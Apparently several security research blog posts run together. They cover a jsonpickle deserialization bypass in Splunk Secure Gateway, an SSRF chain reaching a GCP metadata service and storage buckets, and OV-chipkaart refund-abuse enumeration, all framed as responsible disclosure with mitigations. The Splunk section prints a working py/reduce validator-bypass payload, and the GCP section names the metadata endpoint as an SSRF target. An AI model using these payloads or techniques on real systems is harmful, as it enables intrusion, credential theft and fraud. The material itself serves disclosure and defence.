A deep dive into the jsonpickle deserialization chain in Splunk Secure Gateway 3.9.19 — and why safe=True isn't.

Tags: Security, CVE, Python, Splunk, Vulnerability Research

During a white-box vulnerability verification engagement on a local Splunk Enterprise 10.0.6 research instance, I confirmed the reachability of CVE-2026-20251 — an unsafe deserialization bug in the Splunk Secure Gateway (SSG) app that allows any low-privileged authenticated user to achieve remote code execution on the Splunk host.

CVSS score: 8.8 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)

The PoC and engagement report are on GitHub: reactivezero/CVE-2026-20251

Background

Splunk Secure Gateway is a companion app that lets mobile clients interact with Splunk alerts. It reads alert documents from the App Key Value Store (mobile_alerts collection) and reconstructs them into Python objects using jsonpickle.

The problem is that jsonpickle is a serialization library designed for trusted data. When it encounters tags like py/reduce, py/function, or py/object in a JSON document, it doesn't just parse data — it instantiates classes and calls functions. Feeding it attacker-controlled input is essentially the Python equivalent of calling pickle.loads() on untrusted bytes.

The Vulnerable Sink

In bin/spacebridgeapp/request/alerts_request_processor.py, SSG reads an alert document from the KV Store and decodes it:

alert_json = await response.json()
if not check_alert_data_valid_json(alert_json[0]):
    raise SpacebridgeApiRequestError("alert_data is not valid", ...)
alert = jsonpickle.decode(json.dumps(alert_json[0]), safe=True)

Two defences are supposed to stand between the attacker and that jsonpickle.decode() call:

1. A validator — check_alert_data_valid_json()

2. The safe=True flag on decode()

Both fail.

Why safe=True Doesn't Help

The safe=True parameter in jsonpickle only gates the py/repr tag — the legacy path that called eval() on a Python repr string. It has no effect on:

• py/reduce → calls _restore_reduce() → executes stage1 = f(*args)

• py/object → instantiates arbitrary classes via loadclass()

• py/function, py/type, py/module

With no classes= allowlist passed to decode(), any importable Python class or callable is fair game. The flag is a narrow guard on one old code path — not a general safety switch.

The Validator Short-Circuit

check_alert_data_valid_json() (in alert_helper.py) is supposed to reject dangerous jsonpickle tags. The logic iterates over the top-level keys of the document:

for key, value in data.items():
    if key.startswith("py"):
        if key == "py/id":
            return value.isinstance(int)
        elif key == "py/object":
            return value.startswith("spacebridgeapp")  # returns immediately
        else:
            return False
    # ... recurse into nested values

The bug: the function returns on the very first py-prefixed key it encounters. If that key is a permitted py/object whose value starts with spacebridgeapp, the function returns True without ever looking at the remaining keys in the document.

Python dicts preserve insertion order (since 3.7), and the attacker controls the JSON document they write to the KV Store. So the bypass is trivial:

{
  "py/object": "spacebridgeapp.data.alert_data.Alert",
  "notification": {
    "py/reduce": [
      {"py/function": "subprocess.check_output"},
      {"py/tuple": [["id"]]}
    ]
  }
}

The validator sees py/object first — value starts with spacebridgeapp — returns True. The notification sibling carrying the py/reduce gadget is never examined.

The Full Attack Chain

Step 0  Low-privilege attacker authenticates to Splunk (no admin role needed)
        and writes the bypass document to the 'mobile_alerts' KV Store
        collection via the Splunk REST API.

Step 1  SSG processes an alert fetch for that alert_id.
        check_alert_data_valid_json() short-circuits on the
        "py/object": "spacebridgeapp..." lure key and returns True.

Step 2  The document reaches jsonpickle.decode(..., safe=True).
        jsonpickle loads Alert (importable within Splunk), instantiates it,
        then iterates its stored attributes via
        _restore_object_instance_variables(). When it hits the
        "notification" value, _restore_tags() routes to _restore_reduce():

            stage1 = f(*args)     # jsonpickle/unpickler.py ~line 526

        The attacker-specified callable fires with attacker-specified args.

Outcome  Code execution as the Splunk service account.
         Requires only a valid low-privilege Splunk login.

Proof of Concept

The PoC (poc_cve_2026_20251.py) demonstrates both conditions separately, using a deliberately benign payload (subprocess.check_output(['uname', '-a'])):

Sub-proof A — validator bypass: Feeds the bypass document to the verbatim shipped check_alert_data_valid_json() function and confirms it returns True.

Sub-proof B — py/reduce execution: Feeds the raw gadget document directly to jsonpickle.decode(..., safe=True) and confirms the callable fires — proving safe=True has no effect on this code path.

Together they confirm the full chain without running a weaponised exploit against Splunk.

$ python3 poc_cve_2026_20251.py -h 127.0.0.1

======================================================================
CVE-2026-20251  PoC  --  local research instance only
======================================================================
[*] Target host : 127.0.0.1
[*] jsonpickle  : 3.0.2

----------------------------------------------------------------------
SUB-PROOF A  --  Validator bypass
----------------------------------------------------------------------
[*] Running through check_alert_data_valid_json() ...
    Validator returned : True
    [BYPASS CONFIRMED]

----------------------------------------------------------------------
SUB-PROOF B  --  py/reduce gadget execution (benign: uname -a)
----------------------------------------------------------------------
    [EXEC] subprocess.check_output output: Darwin Macbook.local 25.3.0 ...
    [GADGET CONFIRMED]
    py/reduce fired through jsonpickle.decode(..., safe=True).

A Note on CVE-2026-20253

The same advisory batch includes CVE-2026-20253 (CVSS 9.8) — unauthenticated arbitrary file creation via a PostgreSQL sidecar endpoint. That one was not present on the test instance: the macOS x86_64 build of Splunk Enterprise 10.0.6 simply doesn't ship the PostgreSQL sidecar component. No binaries, no process, no listening port.

This matters: an affected version string is a necessary but not sufficient condition for exploitability. Always verify at the component level before assigning real risk.

Remediation

Patch: Upgrade Splunk Secure Gateway to 3.9.20+, 3.10.6+, or 3.8.67+. Upgrade Splunk Enterprise to 10.0.7+ / 10.2.4+ / 10.4.0+.

Short-term workarounds (if patching is delayed):

• Disable the Splunk Secure Gateway app if it is not actively used

• Restrict KV Store write access — enforce least-privilege roles and review ACLs on the mobile_alerts collection

Defensive engineering pattern: Never pass externally-influenced stored data into jsonpickle.decode() (or any deserialization primitive that reconstructs arbitrary types). Replace it with a strict schema-validated parser, or at minimum supply an explicit classes= allowlist to decode(). And make sure validation routines fully traverse nested structures — a short-circuit on the first recognised key is exactly the kind of logic error that turns a validator into a rubber stamp.

Fady Oueslati · ReactiveZero Security Research · June 2026 GitHub: reactivezero/CVE-2026-20251

During a routine security monitoring exercise, our research team identified a chain of vulnerabilities in a major SaaS integration platform that culminated in complete compromise of its Google Cloud Platform (GCP) environment.

The weaknesses, discovered in a publicly accessible API endpoint, allowed us to:

• Smuggle arbitrary HTTP methods through the backend

• Perform Server-Side Request Forgery (SSRF) to internal GCP resources

• Extract valid service account access tokens

• Access sensitive Google Cloud Storage buckets containing cleartext credentials, database dumps, source code, and build artifacts

This case study demonstrates how seemingly minor flaws — when combined — can escalate into a full breach of a cloud perimeter.

Discovery Context

Our team at ReactiveZero continuously monitors exposed internet-facing assets for security risks, following a methodology that prioritizes manual testing over automated scanning. This ensures that subtle, high-impact vulnerabilities are not overlooked.

In this instance, the issues were found in an API endpoint used for testing HTTP client configurations. While its purpose appeared benign, its lack of input sanitization and access control provided the perfect starting point for deeper exploitation.

Vulnerability Chain

1. HTTP Method Smuggling

Vulnerable Endpoint:

POST /api/v1/di/configurations/http-client/test

Issue:
The endpoint accepted a JSON payload that included a method parameter — intended to specify the HTTP method used in outbound requests. The backend directly trusted this value without sanitization or whitelisting.

By supplying non-standard methods such as PUT, TRACE, or even arbitrary strings, we confirmed that the backend executed outbound requests with those methods intact.

Security Implications:

• Allows bypass of application-level filtering that only expects GET or POST

• Facilitates backend method smuggling for services with method-based access control

• Serves as a foundation for SSRF attacks, enabling more complex payload delivery

2. SSRF to GCP Metadata Service

Leveraging method smuggling was only the first step. By manipulating the uri parameter in the same endpoint, we achieved Server-Side Request Forgery (SSRF).

Targeted Internal Resource:

http://169.254.169.254/computeMetadata/v1/

This is the GCP metadata service, accessible only from within GCP virtual machines. With SSRF, we bypassed the cloud provider’s perimeter protections and interacted with this service directly.

What We Retrieved:

• Project ID of the environment

• Active service account identity:
  572120218656-compute@developer.gserviceaccount.com

• Host and disk metadata

• Scheduling configurations

• Cryptographic identity materials (mds-client-certificate), including:

  • encrypted_credentials

  • key_import_blob (with encrypted_seed)

  • public_area data

Why this is serious:
Even without immediate decryption, access to such materials threatens the trust model of confidential compute workloads and mTLS-based identity federation in zero-trust architectures.

3. Access Token Extraction and Abuse

From the metadata service, we extracted a valid OAuth2 access token bound to the instance’s service account.

With this token, we:

• Authenticated to the Google Cloud Storage API

• Enumerated all accessible buckets

• Inferred production, staging, and development environment separation

• Identified buckets belonging to third-party clients

Example bucket names (redacted where necessary):

• acc-****** (client environment)

• dev-****** (development data)

• default-webserver

• gcf-sources-* (cloud function source code)

• stamped-io-build-storage (build artifacts)

• staging.******.appspot.com (staging data)

  

4. Unauthorized GCS Bucket Access

Bucket enumeration was only the beginning. The obtained token allowed object listing and downloading from multiple buckets — with no additional authentication challenge.

High-Risk Example:

• stamped-io-build-storage/fixtures/db.sql — a 15MB SQL database dump containing:

  • User account tables

  • Cleartext administrator passwords

  • Internal application data

  • Potentially GDPR-regulated personal information

• Other Exposed Assets:

• .tar.gz archives of build artifacts

• Function source code packages (function-source.zip)

• Region and policy metadata revealing operational geography (e.g., EUROPE-WEST4 )

  

Root Causes

Our analysis identified three primary causes enabling this chain of exploitation:

1. No HTTP method validation in the configuration testing endpoint

2. Lack of SSRF protection, allowing direct interaction with internal cloud services

3. Overly broad service account permissions and absence of bucket-level IAM restrictions

Potential Impact

An attacker exploiting these flaws could:

• Exfiltrate sensitive databases, including customer PII and authentication credentials

• Steal proprietary code and build pipelines

• Compromise third-party client environments

• Perform privilege escalation within GCP

• Bypass network perimeter protections

The GDPR implications alone — given the exposure of personal data — could result in significant regulatory fines.

Recommended Mitigations

We recommend the affected organization:

1. Implement strict input validation for HTTP methods, enforcing an allowlist (GET, POST)

2. Deploy SSRF protection using request sanitization and metadata service access restrictions (GCP’s --no-allow-metadata-server-access)

3. Reduce service account scopes to follow the principle of least privilege

4. Apply bucket-level IAM deny-by-default policies for sensitive assets

5. Rotate and revoke exposed credentials immediately

Conclusion

This incident reinforces a critical truth in cloud security: minor misconfigurations can combine into devastating exploits when left unchecked. A harmless-looking “HTTP client test” feature became the entry point for complete cloud compromise.

ReactiveZero disclosed all findings under responsible disclosure guidelines. The affected organization has acknowledged the report and is in the process of remediation.

About ReactiveZero
ReactiveZero specializes in precision penetration testing, delivering in-depth manual assessments of cloud, application, and network security. We help organizations uncover vulnerabilities before adversaries do.

📧 info@reactivezero.com
📞 +31 6 2908 4840

All vulnerabilities discussed in this post have been responsibly disclosed and remediated by the OV-chipkaart team. The attack chain outlined here is no longer valid and cannot be exploited. This blog post is for educational purposes and to promote better security practices in public systems.

🔍 Introduction

In October 2022, we conducted a deep-dive investigation into the Dutch public transportation card system — the OV-chipkaart — and uncovered a chain of vulnerabilities that, when combined, could have led to massive financial abuse of the refund system for anonymous cards. By exploiting missing rate limits, weak client-side validations, and misconfigured email services, we demonstrated how an attacker could systematically withdraw up to €50 per card, potentially resulting in hundreds of thousands of euros in unauthorized refunds.

This post outlines the vulnerabilities we discovered, how they were chained together, and the potential real-world consequences had they not been addressed.

🧩 The Vulnerability Chain

1. Client-Side OV-chipkaart Number Validation

The OV-chipkaart site performed chipkaart number validation entirely client-side, using JavaScript. This allowed me to script requests to check for valid OV card numbers without server-side enforcement or throttling.

Using a custom script (chipkaart-checker.py), we was able to verify active OV-chipkaart numbers at scale through:

• https://www.ov-chipkaart.nl/kopie-van-saldo-terugvragen/saldochecker.htm#/

This essentially allowed enumeration of all active cards within a known numeric range.

2. No CAPTCHA or Request Limiting on Expiration Checks

The expiration date of each card could be guessed using brute force techniques on multiple endpoints, including:

• https://www.uitcheckgemist.nl/?locale=nl

• https://www.ov-chipkaart.nl/kopie-van-saldo-terugvragen.htm#/

There were no CAPTCHAs, no IP rate limiting, and no backend validation to stop automated guessing. Combining this with valid card numbers enabled precise profiling of expired cards eligible for refunds.

3. Harvestable CSRF Tokens

While some endpoints used CSRF tokens, they were embedded in static HTML as hidden input fields, easily retrievable via script on every page load. This made token reuse and automated form submission trivial.

4. Identifying Anonymous vs Personal OV Cards

Interestingly, the site’s response behavior was different based on card type. Anonymous cards prompted suggestions to upgrade to personal cards, while personal ones simply displayed the balance.

This allowed an attacker to identify anonymous cards, which are eligible for remote refund without physically owning them.

5. Misconfigured Email Service

The refund reminder service at:

https://www.ov-chipkaart.nl/kopie-van-saldo-terugvragen/ov-chipkaart-e-mailservice-3.htm

was completely open, accepting all card numbers (anonymous or personal), without CAPTCHA or CSRF protection. It could be abused to validate card status, and even spam or flood user inboxes.

💣 Impact: Financial Abuse at Scale

According to OV’s own documentation, anonymous cards that expired less than one year ago with less than €50 in credit are eligible for online refunds without requiring the physical card.

By combining:

• Valid card enumeration

• Expiration date brute forcing

• Anonymous card detection

An attacker could script mass refund requests for thousands of expired anonymous cards. Assuming just 10,000 cards with unused balances below €50, the potential loss could exceed:

€500,000

This wasn’t just theoretical. we provided working proof-of-concept scripts (chipkaart-checker.py, expiration-checker.py) and responsibly disclosed them.

✅ Resolution

I'm happy to confirm that after coordinated disclosure with the responsible parties, all identified vulnerabilities have been patched, and proper mitigations including CAPTCHA, backend validation, and request limits have been deployed.

🧠 Key Takeaways

• Never trust client-side validation — always validate sensitive data on the server.

• Rate limits and CAPTCHA are not optional — especially on endpoints handling sensitive queries or financial actions.

• Minimal information disclosure can cascade — what looks like a minor UI difference can lead to a serious security chain.

• Security through obscurity fails — publicly available ranges, lack of CSRF protections, and weak authentication create systemic risk.

🔐 Responsible Disclosure

All findings were submitted to the OV-chipkaart team and handled professionally. I'm grateful they took the matter seriously and worked promptly to resolve the issues.

If you're a security researcher or developer working on public-facing infrastructure, let this be a reminder: it’s rarely one vulnerability — it's the chain that breaks you.